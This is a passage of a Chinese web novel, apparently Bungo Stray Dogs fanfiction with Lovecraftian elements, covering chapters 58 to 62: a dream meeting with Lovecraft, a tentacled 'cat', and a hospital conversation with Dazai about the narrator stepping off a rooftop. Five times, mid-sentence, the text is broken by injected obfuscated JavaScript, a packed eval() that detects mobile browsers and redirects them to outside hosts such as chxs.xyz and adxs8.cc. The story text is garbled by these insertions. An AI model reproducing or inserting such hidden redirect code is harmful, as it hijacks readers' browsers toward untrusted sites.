巨浪在眨眼间临近身前,没有任何征兆、没有任何缘由,深得近乎黑暗的蓝色海浪淹没了不规则的黑色建筑群,红色的蕨类植物在海底随着波浪摇曳。 漆黑的长发在海水中轻柔地散开,一条不知来自何方的白色的蛇受了惊扰,从你的衣袖中探出来,凝视远方,吐着信子。 你微笑着呼出一口气,带起一串气泡。 “来……苏……”从远方而来的“怪物”,迟缓得像是在唱诵祭词般念道,如此呼唤着你的名字。 58.第五十八章 洛夫克拉夫特的身形高挑而瘦削,他大概是你在横滨见过的个子最高的人,比太宰治还要高出一小截。 他也有着黑色的长发,只不过比起“来苏”,洛夫克拉夫特的黑发要更长,也更卷曲凌乱一些。而且,其长发似乎不是纯粹的黑色,在令人神志恍惚的梦境里,那黑色细看之下,会让人琢磨出幻觉般的蓝紫色。 洛夫克拉夫特念着你的名字——你的假名。声音不大,却在梦境中传播开。 “我真高兴你会想到在梦里见我。” 他的身上有一种独特的无精打采的气质,一种世界毁灭也没关系的倦怠感。 即使说着“高兴”,洛夫克拉夫特还是睁着死鱼眼,脸上没什么表情,“在我见过的人里,你很有开创性。” “开创性”一般只会用在事件或者物品上,但这个家伙用开创性来形容人类,竟然也不怎么突兀。 洛夫克拉夫特一副仿佛下一秒就会睡过去的模样……但是你们现在正在梦境中,在梦境里睡着会怎么样? 没人能解答。 海水已经充斥了整个梦境,你的梦就像一个玻璃鱼缸,原本只有一些植物与装饰,但现在装满了水。 在梦境的海底之中,你依然坐在那条黑色的建筑构造上,用条这个量词的确奇怪,但是很难去描述你坐着的那个黑色的东西,也无法明白它在一座建筑中起着什么样的作用,除了让整个梦境变得更复杂与诡异,似乎什么作用也没有……它完全不合乎现实世界的逻辑与规则,就像是具现出来的抽象画。 而洛夫克拉夫特站在一根柱子上,那根柱子从远处走了过来——这样的表述的确有点怪异,但是——那根庞大又有古典美感的石柱子,走到了你的面前,洛夫克拉夫特站在上面,渺小得不协调。 正如没人知道在梦境里睡过去会怎么样一般,没人知道你为什么会要求在梦中约见洛夫克拉夫特。 “洛夫(love)——”你这样呼唤他,眼中带着盈盈笑意。 从缱绻连绵的尾调中,不难听出你是故意采用这个特殊又简短的称呼的。 你的梦境发生了变动,深蓝阴沉的海洋中,有血一样的粉红色在扩散。 颜色更鲜艳了一点,但是变得更诡谲了,粉红与深蓝相混,像是颜料被打翻,又像是肥皂泡泡在阳光下的彩色条纹……迷幻得像吃了精神类药物。你真的应该试着吃点。 然而洛夫克拉夫特的脸上依然是波澜不惊的表情,无论是对于你的称呼,还是梦境的变化,他都丝毫未表现出异样。 ……也许是因为这个人能出现在你的梦境里,以及这个人本身的气质,就挺异样的。再令人惊讶的东西,在这种本身就很奇怪的人的眼中,往往会平淡许多。 “洛夫,我有个见面礼要送给你。”你伸手取下几株从黑色建筑缝隙里钻出的蕨类植物,编成猩红色的草环,“请把头伸过来。” 实在草率的见面礼……哪有人在梦境里送礼物的? 洛夫没有起身。 只见,他的脖子如面条般伸长、再伸长,最后把头颅伸到了你的面前,“谢谢,见面礼是祭品的意思吗?” ……这样的场面即使是在梦境中,也有点猎奇了。 你的真实意思应该是“请过来、我要把猩红草环放在你的头上”……到底是什么人会理解为只把头伸过来? 不过,严格意义上他是完全按照你说的去做的,看起来倒显得有点乖巧……真是疯了! “不是祭品,见面礼就只是见面时送出的礼物而已,是为了让你更高兴。洛夫,下次见面,我请你吃冰淇淋。”你把猩红草环给他戴上,一边轻笑着补 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13388939|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 充,一边轻轻安抚着钻出了你深色的宽松衣袖,缠上你的手指的小白蛇。 这只不知道为何会出现的白色幼蛇,其灰色的竖瞳一直盯着洛夫克拉夫特,尤其是当其把头伸过来的时候,小白蛇表现出了明显的攻击姿态。 “这么说,我也应该准备见面礼。”洛夫克拉夫特恍然大悟,把头缩了回去,还用手矫正了头的位置,令其不至于歪着。 他想了想,仿佛真的在认真思考。 片刻后,洛夫用伸长的黏腻触手给你递过来了一团蠕动着的绿色环状物,“给你,草编猫咪。下次见面,如果方便的话,请准备巧克力冰淇淋。” 等一等,哪里来的触手? ……而且,你送的蕨类植物头环虽然看不出植物品种,但至少真的是草。而他递出的这玩意儿,根本就不是草,也完全看不出猫的模样吧?上面的吸盘还在翕动着呢! 你面不改色,依然笑吟吟的,接过他递过来的“草编猫咪”,顺便捏了捏洛夫克拉夫特的触手—— 一种黏腻的柔软,又有种奇怪的如鹅卵石般的冰冷与坚硬,没人知道这触手怎么做到又柔软又坚硬的,这样的表述放在任何一个文字作品中都会因匪夷所思引来嘲笑,可你触碰到的奇异感觉需要这样的描述。 要么他触碰起来的确是这样,要么是梦境的问题引起的混乱,最差的结果是你疯了——所以到底是哪里来的触手? 在洛夫克拉夫特的黑色西装外套之下,在那袖口阴影处潜藏的可怖的黑暗之中,怎么会如此和谐又平淡地钻出这样难以言表的东西? “真可爱。” 最恐怖的是你竟然能如此真诚地撒谎——是在撒谎吧?不可能是发自真心的吧? “不过——”你说,“我请洛夫过来,不是为了见面礼,而是有别的事想说。” 59.第五十九章 洛夫克拉夫特专心地看着你,等待着你继续说下去。 “洛夫——”然而你瞧着他认真的眼神,却是嘴角一勾,把原本要说的话咽了下去,转而道,“我想试试……拥抱你会是什么样的感觉。” “拥抱?”洛夫克拉夫特茫然地看着你。 他身上伸出的绿色的触手像猫的尾巴一样无意识甩动着,头如痉挛般抖动了一下,随后他扯了几下自己的皮肤……应该说,就像整理衣服一般,整理自己的皮肤。 “要怎么做?”他问。 “只需你与我相贴近……”你抱着既不是草也不像猫的草编小猫,抬起一只手,轻巧地朝他勾了勾手指,“您过来吧。” 手上缠着的小白蛇吐着信子,睁着一对竖瞳,死死盯着洛夫克拉夫特瞧,如同警告一般。 洛夫克拉夫特自然不会在意小白蛇的警告——他或许就没注意到这只小蛇在警告他。 他脚下踩着的那根巨型石柱再次朝你走过来,水波随着柱子的移动荡漾着,柱子每移一段距离,没有游鱼的海水中都发出响亮的声音。 那黑色的石柱靠近你的时候,其上的神秘纹路与符号中裂开缝隙,长出了一片片红色的藻类植物,像你与他的发丝,在水中温柔摇曳。 洛夫克拉夫特来到了你的身前。 你有些好奇地去碰从他变得破烂不堪的袖子里钻出的触手,和之前的触感一样奇怪,虽然看起来很像,但这不是寻常海洋生物的触感。 小白蛇则是飞速地溜回了你的袖子里,这小家伙,想必是感觉到了危险。 你依然坐着,于是洛夫克拉夫特俯下了身。他的头上还戴着你给他的猩红草环。 “贴近的话,是——这样吗?”他给了你一个拥抱。 如果他不是用触手的话,这个拥抱会更加正常,但是他伸出来环住你时用的是绿色的触手。 很遗憾,洛夫克拉夫特完全没意识到拥抱有什么意义,他的表情呆得就像块石头,“然后——” “然后……”你主动贴近他,将草编小猫放在腿上,双手抚上他的双颊,按着他高高的颧骨,微笑道,“我想看看洛夫本来的样子。” “咔”的一下,他的头颅掉落了下来,被你捧在手里。 “好痒。”洛夫克拉夫特的头颅说。他瞪着死鱼眼,在你手中动了动。 对于你把他的头颅像摘果子似的摘下来,洛夫克拉夫特竟然没有额外的反应。 只是,如树藤般缠绕着你的触手,缠得更紧了,这似乎只是一种无意识的举动,但依然让你感到怪异。 下一刻,就像安全气囊膨胀开一般,他本就有些破烂的衣服被撑开,那非人的、无法形容的、庞大的怪物的本相,黑暗的阴云般笼罩了这片梦境之海。 海浪发出不祥的哗哗声,其中夹杂着古怪又模糊的呢喃低语。 洛夫克拉夫特脚下那根石柱原本远比人类的身形来得巨大,然而现在,他的本相一出,那身躯又远大过了石柱。 你离得太近,无法看清祂的全貌,只能感觉到自己被黏腻的绿色所裹挟,还有冰凉的海水温柔地亲吻着你的脸。 然而,在这漫无边际的寒冷和黑暗之中,你却感觉到了最初在医院醒来时看见的太阳的光辉。 温暖的阳光和请君勿死照耀着你,你被“拥抱”着,你感到令人窒息又令人诡异地安心的柔软,一种孩童安睡在母亲的怀抱中、或者抱着自己蜷缩在密不透风的被子里的温暖感觉。 在这奇怪的黑暗里。 你醒了。 窗户外面的太阳透过窗户晒到了你的脸上,你好像忘了昨晚有没有拉上窗帘,茫然地偏过头,盯着窗户。 你的耳中传来嘈杂的声音,一种类似于工地施工的噪音,但事实上周围没有工地,你只是出现耳鸣症状而已。 你揉了揉耳朵,坐起身,准备起床,然而就在你的视线移转向下的时候,你发现,一团绿色的东西在地板上蠕动着。 洛夫克拉夫特送给你的“草编猫咪”。 在草编猫咪旁边,诺亚在果戈里的帽子里,身上的蝴蝶结还没有取下,和往常一样安静又乖巧。 草编猫咪蠕动着似乎想努力地接近诺亚,但是这一团由触手编成的奇怪物种,似乎四肢……好吧,仔细看,在混乱的绳结中,它有七条触手露在外面,也就是说,它的七肢并不协调,几条肢体朝一个方向,另外几条肢体又朝其他的方向,蠕动了半天也才凑近了几厘米,看起来蠢蠢的。 “不是七肢,是四肢、一条尾巴、加上两个耳朵。”你先是给诺亚倒了一点水,摸了摸诺亚安抚花盆情绪,随后抱起草编猫咪,认真地说。 没人能把这一团绿色的东西真的往猫咪方向想……但是你说的都对。 你严肃地举起了草编猫咪,用没有骨折的那只手把它举得高高的,仰头眯着眼睛注视它。 它在你的手上张牙舞爪地甩动着触手。 “拉莱耶是在摇尾巴。”你点了点头,像捏包装膜上的气泡似的,轻轻地捏着得到了新名字的草编猫咪,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13409026|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真可爱。” 意义不明的名字。意义不明的给一团奇怪生物取名的行为。 你真的应该去看看精神上的医生,几天前就该去看看了,真的。 见鬼的是拉莱耶的触手甩动得更厉害了,还发出轻微但很奇怪的冒泡泡的咕噜声,它好像很开心——你莫名感觉到了它想与你亲近。 “明明是猫咪,怎么像狗狗一样。”你眯眼笑着,把拉莱耶重新放在地上,放在了离诺亚远一些的地方。 尊重事实地说,这东西既不是猫咪,也不像狗狗,任何动物都不适合与它放在一起。 也许你的认知出现了某种混乱——总不可能是你本来就这么疯——真是恐怖啊,洛夫克拉夫特恐怖如斯。 你披上外套。外套已经有点脏了,也许你该回Mafia换件新的。 床头柜上的手机振动着,你将其拿起来,一个晚上过去,未回复的消息数量竟然有几十条。 你有些愣神地看着手机上的一堆消息提醒。 立原贡献了二十余条消息,最后一条是【这次我没有报告首领,但是朔君平安的话,就告诉我一声吧。】 果戈里也贡献了二十余条消息,小鸟先生睡不着觉,在你的聊天窗口里嘀嘀咕咕地留言,最后一条是【但是我想和朔君一起去游乐园——!】 太宰也发了一条消息,【有一个任务,想等你回来之后交给你呢——别人也可以做这个任务,但是果然还是想交给朔君啊。】 森先生发来了几条消息,【仅凭立原君的话,追踪我还是太勉强了一点。还是让专业的人干专业的事比较好哦,朔君该多招揽一些直属部下的。】 旗会发言人发来了消息,专门为你和诺亚定制的衣服已经制作好了并且交给了小银,你可以随时去取。 乱步发来了几条消息,【波子汽水弹珠项链很新奇,虽然我会收集弹珠,但是完全没想过这样做。还有粗点心玩偶——非常棒且适合名侦探的礼物!很有趣!】 附带几张照片,有被拆开的零食大礼包,还有戴着波子汽水弹珠项链的粗点心玩偶。 织田也发来了消息,【很有趣的礼物。】 附带一张乱步吃灯泡糖,结果嘴巴被灯泡糖卡住的照片,乱步专心地对付着嘴里的灯泡糖,没看镜头。 在你看信息的时候,拉莱耶慢慢地蠕动到了你的腿边,用小触手缠着你的脚踝。 秋日和煦的阳光照在你的身上,你一条一条读完了所有的信息,轻轻呼出口气,脸上露出会心的微笑。 60.第六十章 奇妙的感动充斥着你的内心,你感到一部分混乱的力量从你的身上消退,死灵之书带给你的错乱幻觉,以及不属于你的异能力,一点点地消失殆尽。 你一边安抚着缠着你讨要抱抱的拉莱耶,一边缓慢地打字回复成堆的信息。 【我很快就回来。费奥多尔先生总是想让我过去,但果然还是只想为太宰先生做事啊。】 你回复了最后一条消息。把所有消息都回复完,花费了你好一段时间。 拉莱耶见你一直不陪他,便用吸盘揪着你的裤腿玩,发出细微的像是胶状物被揉搓的诡异声音。 你叹了口气,抱起拉莱耶,也许你已经适应了它古怪的触感。 随后,将拉莱耶交到了被催眠的黑商手上。 拉莱耶对于被黑商代管很不满意,小触手飞速地甩动着,还发出有些尖锐的“叽”的声音,但这并没有使你回心转意,你回归太宰朔的身份时,只带走了诺亚。 等你离开之后,催眠效果就会消失。 只不过,有拉莱耶在,或许以后就算不用催眠,这些对异能以及超自然力量毫无抗性的人们,也会心甘情愿地臣服于你。 说起来……拉莱耶被你从梦境中带出来,直到现在也没有消失,那位洛夫克拉夫特先生的异能,究竟是什么样的效果? 也许只有你这般来自未知之处的存在,才能与那种诡异的家伙和谐对话。 你重新抱着诺亚坐在了轮椅上。被你的异能影响的路人,推着你离开了擂钵街。 立原开着车来接你回Mafia,他很好奇你昨晚去了哪里,但他很有眼色地没有提问。 想想也知道,你是不可能和他说实话的。 “我没查到……”立原惭愧地说,“森先生的确离开了孤儿院,出现在了侦探社附近,但我没能跟上他和爱丽丝,也没能查出他在附近做什么……” “我已经知道你没查到了。”你不顾立原吃惊的眼神,平静地说道,“没关系的哦。不过——立原应该没有全力以赴吧?” 听到这话,立原脸上的神色已经不是吃惊了。 他一定在庆幸他在开车,不用转过来注视你,也就不用直面你带来的压迫感。 立原沉默着。 “毕竟森先生是把立原带回Mafia的人嘛,也是个好首领,而我只是个普通的只认识了几天的人而已。立原做不到全力出手,我也是了解的。”你说着,叹息一声,看向窗外。 没有继续说话,但一切尽不在言中。 “朔君……”立原的手紧紧地握着方向盘,“下次我一定会完成任务的,绝对不会让朔君失望。” 你轻轻地笑了笑,“说到做到哦,立原。” …… 你回到Mafia的第一件事就是去找太宰,只不过被告知了首领被刺杀,经过抢救,仍然在秘密病房中休养的消息。 银把太宰所在的医院位置告诉你后,把定制好的你和诺亚的新衣服递了过来。 Mafia标配的白衬衫黑领带,只不过材质好得惊人,而且非常合身,穿在你身上,让你纤细的身形显得十分清俊。再加上一件黑色的长袖披肩风衣外套,帅气、实在是帅气。 缩小版二叶亭彻的脸和你的神秘气质从未搭配得如此和谐过,镜子里出现堪称完美的一个少年,造物主见了也要感动垂泪。 “有点夸得太过了……”你低头,看着换了一身配套黑衣的诺亚,“诺亚,你是一个冷酷无情的杀手。” 诺亚一如既往地乖巧又安静。 你像吸猫似的把脸贴在诺亚上蹭了蹭,随后抱着诺亚,独自去见了太宰。 太宰休养的病房位于一座Mafia名下的医院。太宰应该事先打了招呼,门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13425968|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的守卫把你放了进去。 “太宰先生——”你看见太宰,先是一愣,紧接着心疼道,“怎么伤成这样,魏尔伦先生不是说……” 魏尔伦说太宰没什么大事,但眼前的太宰几乎全身打着石膏裹着绷带,面色惨白的模样,完全不像没事的样子。 “我没事啦。”太宰说着,挥了挥打着石膏的手,“看上去严重而已,实际上比你健康的多。” 你走近他,反复确认太宰的确只是看上去严重,实际上的新伤口只有肩膀的一处刀伤——这次被刺杀,刺客本来是想割断太宰的喉咙,但是没成功,只在肩膀上留了很浅一道伤痕。 你松了口气,“太宰先生说有任务要交给我——” “嗯、昨天晚上的时候,海洋上突然刮起了本不该有的风暴。”太宰说,“收到消息,好像有危险的东西接近了港口。朔君也知道港口对Mafia有多重要,我希望你能查清海洋异动的原因,并把也许存在的危机化解掉。” “海洋异动啊……”你点了点头,“中也先生呢?” “唉呀,他在代我上班——”太宰对于自己装作重伤来偷懒,脸上毫无愧色,“探查的事交给他不合适,他只需要学会要让什么人去探查就好了。朔君就是探查这件事的绝佳人选。” “学会把专门的事情交给专门的人来做……”你不解地看着他,“但是为什么是我?” “因为说不定和死灵之书有关呢。”太宰笑了笑,“朔君去过二叶亭君的家,当时回来的时候也拿着死灵之书,应该会对这本书感到好奇吧。而且朔君的能力,我也很放心呢。” “我的确想打听死灵之书……总觉得无论我想什么,太宰先生都能猜到……”你说。 “有一件事就猜不到。”太宰抬眼注视着你,“朔君想好怎么回答了吗,你——为什么会从高楼的顶层跳下去?” 61.第六十一章 “太宰先生问这个是关心我,还是在探究别的东西?” 你把诺亚放在桌子上,坐到他的病床边。 窗帘没有拉开,太宰治的右眼倒映着白炽灯的冷色光亮,左眼被绷带一圈圈缠住。 除了他显露在外的黑发与鸢色眼瞳,其它地方几乎都是浅色。他躺在病床上,就像是和雪白的被褥连在了一起,与整个病房、医院相连成不祥的白色。 “要说理由的话……我想用亲身体验去理解太宰先生。我不相信人类之间能够感同身受,除非,做到同样的事。” “哦呀,真是不可思议,理解我?”太宰的脸上露出了非常浅淡的笑容,“若说朔君对我感到好奇,或是因为睁眼之后看到的第一个人就是我,而产生某种依赖,我也是相信的。但是,试着去理解我的理解、感受我的感受……” “太宰先生不相信吗?”你低头注视着他。 “……不,只是有一点想要微笑……不要误会,并不是嘲笑。可能是太过吃惊了吧,和生气极了会发笑是同样的原理。” 太宰停顿了一下,“我想知道为什么。为什么朔君会有这样荒唐的想法、以及为什么你会使用这样的方式。” “一点也不荒唐,因为我关心太宰先生,所以无论是好奇,还是尝试去理解,都再正常不过了。” 你澄澈的眼眸如果在光下会更令人动容,但你如今是低头背着光的,黑色的眼睛里只有太宰的影子。 “如果太宰先生有真心实意地关心过什么人,就不会问出这样的问题……” “这种程度被你称为关心啊……”太宰轻笑着把视线移转到一旁,“姑且当做你说的是对的,那跳楼这种行为,朔君又想作何解释呢?” “我去见了森先生。”你说,“问了关于太宰先生的事。” 太宰眯了眯眼,“你能查到那里以及他的身份我也不奇怪,毕竟我知道朔君很有能力嘛……不过,门卫没有阻拦你吗?” 从他的话里,你敏锐地察觉到了孤儿院的门卫并不一般。 也许那门卫是太宰派去的。如果是这样,你到孤儿院的时候,太宰就了解了你的行踪。 不过这样才合理……对于一个还活着的Mafia先代首领,无论是保护还是监视,现任的首领太宰治怎么可能不做一点措施呢。 “阻拦了,不过——” “我知道了。”太宰微微摇头,眼珠动了动,他继续注视着你,“森先生说了什么?” “他告诉我,太宰先生在十四岁的时候和现在有很大的不同。” 你说,“太宰先生在十四岁的时候,总是自发地向死亡奔赴,森先生不得不一次次地加以阻拦。而现在的太宰先生,却变成了对死亡唯恐避之不及的人。” “于是,我就不停地想着,为什么太宰先生会变成这样、为什么十四岁的太宰先生会向往死亡,而现在的太宰先生将自己保护得如此密不透风呢?” “我站在天台栏杆往下看,我不明白,这令人眩晕的大楼之下,冰冷的水泥地上,究竟是什么在吸引着十四岁的太宰先生,而为什么现在又不再吸引了呢?” “所以我向前一步……太宰先生,我没有跳,我只是向前走了一小步。”你低着头说,“也许这样、我希望这样,能离你更近一点……” “……”太宰仔细地看着你,他仿佛在看一个神奇的从未在这个世界上出现过的物种,你不明白他眼中的意味。 病房中陷入了难以忍耐的安静,你的手指动了动,抓着他被子的边缘。你好像很习惯下意识在某些时候去抓住什么,比如衣角、袖口,或者现在的白色被单。 “以后不要再说这种话……”太宰再度移开视线,“真是……令人恶心。哪个家伙教你这么说的?” “森先生教的。”你迅速地回答道。 “在一众选项中选择了最不可能的答案。唯独森先生是绝对不可能试着去切身地去理解与感受他人的,真是的,哪怕朔君说是魏尔伦或者费奥多尔教的,我也能勉强相信啊……” 太宰治低声念着,他脸上的浅淡笑容已经消失了。 “朔君,我是不是在你面前太仁慈了,让你心里有我是一个值得去靠近的好人的想法?或者让你产生了什么别的误解?” 他的语调平淡,但语速快了些许,不像往常那样不疾不徐,你能从失控的语速里察觉到,太宰的内心并不像表面这样平静。 “如果是这样,我就明说了,实际上,我把你带回Mafia只是因为你是个危险的家伙,整个横滨只有我深刻地明白你的危险性,必须放在眼皮子底下看着,我才能放心而已。我会保护你,也只是因为如果你死掉的话,可能会给横滨带来麻烦。” 太宰似乎是在极为短暂的时间里恢复了状态,他又轻轻地笑了起来,神情几乎可以称作冷酷。 “所以啊,关心你什么的,其实都是骗你的啦。朔君完全不必这样去试着接近我,虽然我是你的监护人,但别说只是一个认识了几天的名义上的亲人了,一般来说,即使是血脉相连的亲人,也很少关心到这种地步吧?” 说着,他又把语气放得温和了许多,但丝毫不改变其话语中的冰冷含义。 “朔君以后还是不要过分地探究我的过往为好,再探究下去,指不定我会做出什么事来。把我当做一个普通的保护着你的忙碌的家长就可以了,你也只需要为Mafia做点事,待在Mafia里,就是回报,不需要付出更多,也不需要对我有什么依赖或者期待。” “更不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13437326|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做出为了他人从楼上跳下去这种——愚蠢至极的事情。不管是什么人,都不值得你这样做。你瞧,你这只手……” 太宰顿了一下,盯着你打着石膏的手,“痛不痛?” “痛。”你委屈巴巴地说,“太宰先生的话说得我的心好痛。” “……” 太宰治根本想不到你竟如此油盐不进。 他本来可能是想说知道痛了就不能有下次了,但现在你们都陷入了沉默。 “起码得痛上十天半个月……”安静半晌,太宰叹了口气,“朔君会如此执着于我,一个事实上只相处了几天的人,除了第一眼看见的是我以外,想必还有别的缘由吧……” “除去关心监护人天经地义,还能有什么缘由呢?太宰先生要是觉得我是一见钟情或者见色起意,那也行。”你还是一副委屈巴巴的语气。 “……”太宰治揉了揉眉心,“也许我该尽到监护人教育孩子的责任。” “太宰先生要对我进行一对一指导了吗?” 你顿时不委屈了,微笑道,“如果是这样的话,我保证不会再天天跑出去,一定留在Mafia好好学习。” “果然还是得交给魏尔伦和红叶姐。”太宰治面无表情地说。 “哦……”你从“嘻嘻”转变为“不嘻嘻”,只需要太宰治一句话。 “其实朔君跳不跳楼我也没那么关心。”太宰懒得再看你,闭目养神,“毕竟少年跳一下也很正常。” ……正常吗? “我更想知道,朔君的异能是怎么回事……魏尔伦说,朔君使用了一种新的异能?”太宰问。 “没有,应该只是魏尔伦先生没察觉到我的异能发动了而已。”你说。 “是这样吗。”太宰不咸不淡地说了一句,也不知道他有没有相信。 旋即,他向你交代了一些关于海洋异动的任务的相关信息,并且告诉你任务结束后就待在Mafia,别再出去了。 当然,他也知道你这家伙并不像表面上那样乖巧,所以提前给你交代了任务之后的日常任务,那就是留在Mafia学习体术课程。 “涩泽龙彦的事情,最好不要参与进去。”太宰说着,见你没有应答,轻轻叹了口气,但似乎也不很在意。 毕竟Mafia有足够的保护好你的能力。 你们闲聊了一会儿。大多时间是你讲述出门在外的见闻,太宰听着你说。 傍晚的时候,你抱着诺亚向太宰告别,准备离开病房。 然而门掩上一半,你又折返了回来。 “就算太宰先生心里其实不在乎我,我也还是想关心太宰先生。”你眼中的认真带着几分偏执,“虽然太宰先生很抗拒,但是——我会离你越来越近的。” 62.第六十二章 太宰治以为你走了。 其实没有。 你坐在病房外面的椅子上,打了个电话给Mafia首领的生活助理。没过多久,你就拎着两份晚餐,愉快地再次推门而入。 太宰治完全没想到你会折返回来,他正坐在病床上给自己的手臂缠上绷带,抬头见你进来,一时没掩饰好眼中的讶异。 “怎么……”他放下手上的绷带,看上去想问你怎么回来了,话到嘴边忽地一转,变成了,“怎么不敲门?” “没有空余的手敲门。”你低头瞥了一眼垃圾桶里换下的绷带和纱布,将餐盒放在床头的桌子上,“要不我出去再进来一次?这次保证一定敲门。” “……那倒也不必。” 太宰治换绷带的动作十分娴熟,无论是把身体擦干净,涂擦伤口,还是把包有药的纱布和新绷带重新缠好,都只用了相当短暂的时间。 也有可能是你的到来让他加快了速度。 在他更换绷带的时候,你出门把诺亚也抱了进来,拉起病床两侧的架子,将简易餐桌的桌板勾住两边的护栏,把餐盒放在搭好的简易餐桌上。 太宰默不作声地看着你做好这一切,“朔君本身也受伤了,为什么不叫门口的护卫来做这些事——不要说是为了我或者其他的恶心理由。” “可是事实就是如此。”你打开餐盒,里面的餐食还冒着热气,“如果不是太宰先生,我才不会做这些琐事。” “那还真是感动啊。”太宰看了看晚餐,一份是米饭、小菜和味增汤,另一份是日式拉面。 做法看起来和正常菜式没有什么区别,食材很新鲜,看起来令人食欲大增。 “为什么有两份?你——” 你把日式拉面移到自己面前,“这份是我和诺亚的。” “朔君不觉得在别人的病房吃饭很奇怪吗?”太宰冷静地跳过了你的话语中的槽点。 “太宰先生才不是别人。”你说,“我来Mafia这么长的时间了,还没有和太宰先生共进晚餐过呢。” 太宰无言以对,下意识辩解道,“因为没有时间。” “为什么没有时间,太宰先生要好好反思一下,是不是太努力工作了。”你夹起被切开两半的溏心蛋,严肃地说。 “……” 总觉得这句话有哪里不对,但又挑不出毛病。太宰治估计也是这样想的,盯着你的碗中溏心蛋流下的蛋黄,沉默半晌,忽然露出一个笑容。不得不说,就算绷带裹得很严实,但这家伙笑起来还是很好看的。 “朔君说得对,不如帮我分担一部分工作,这样的话——” “不要不要不要、绝对不要!”你立即摇头拒绝,谴责地看着太宰,“用心险恶的大人——这还是太宰先生教我的呢,我是不会被险恶的大人欺骗的。” “朔君好冷血喔——”太宰笑吟吟地拖长了音调,“你的监护人要被工作魔王打败了,你却不愿意施以援手,这和见死不救有什么区别嘛。” “怎么可能没有区别呢,这根本就是两回事,我只在乎太宰先生的死活。” 你的这句话有歧义,既可以理解为你只在乎“他”的死活,也可以理解为你只在乎他的“死活”。 就在你们吃饭的时候,有人敲了敲门,太宰无声对你说了句“这才是进门的正确方法”,一秒内收起所有不合时宜的笑意,恢复到平淡的表情,让门外的人进来。 进来的人是小银,她抱着一叠文件,有些抱歉地看着太宰,“中也先生已经知道您醒了,说不定连您伤得其实不重也知道了,所以……” “若是我命令他接手首领的工作,难道会有严重的后果?”太宰不知道是在自语,还是在问小银。 “不过,中也先生让您好好休息,在您休息好之前,他依然会暂代您的职务,而这些,是他认为有必要交给您看一看的东西。”芥川银把文件放在桌上。 “芥川银,芥川龙之介……芥川?”你念道。 “什么?”小银茫然地看着你,“您在叫我吗?” 你的声音太低了,她没听清楚。至于转过头盯着你的太宰有没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13450450|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听清楚,就不知道了。 “有一件事最好还是和朔君说明白……银是我的秘书,她的身份信息和我的身份信息一样是机密,如果外面有人打听银的消息,将一律视作打听我的信息,是需要处理掉的。”看来太宰听见了。 他虽然面带微笑,声音却很冷漠,与此前吃饭时与你说笑的太宰判若两人,这种几乎是无意识散发出的冰冷无时无刻不提醒着你,眼前这位是Mafia的首领,不是什么邻家大哥哥。 你沉默地点了点头。 银见太宰没有让你离开,便直接开始向太宰简单汇报一天的工作。 一时间,病房内只有她清晰地讲述Mafia内事件的声音,以及你和太宰吃饭的细微声音。 太宰吃饭时很安静,速度不快。 这和此前你在侦探社见到的那位名为芥川龙之介的青年有所区别。 你在乱步的生日会上仔细观察过侦探社的所有人,芥川龙之介吃饭的举止虽然能算优雅,但速度奇快,那是一种对食物极其爱惜且重视的快速。 他对甜食有所偏好,而身形却非常纤细,似乎还有肺部的疾病在身。 这通常是贫民窟或者孤儿院出身的孩子才有的特征。 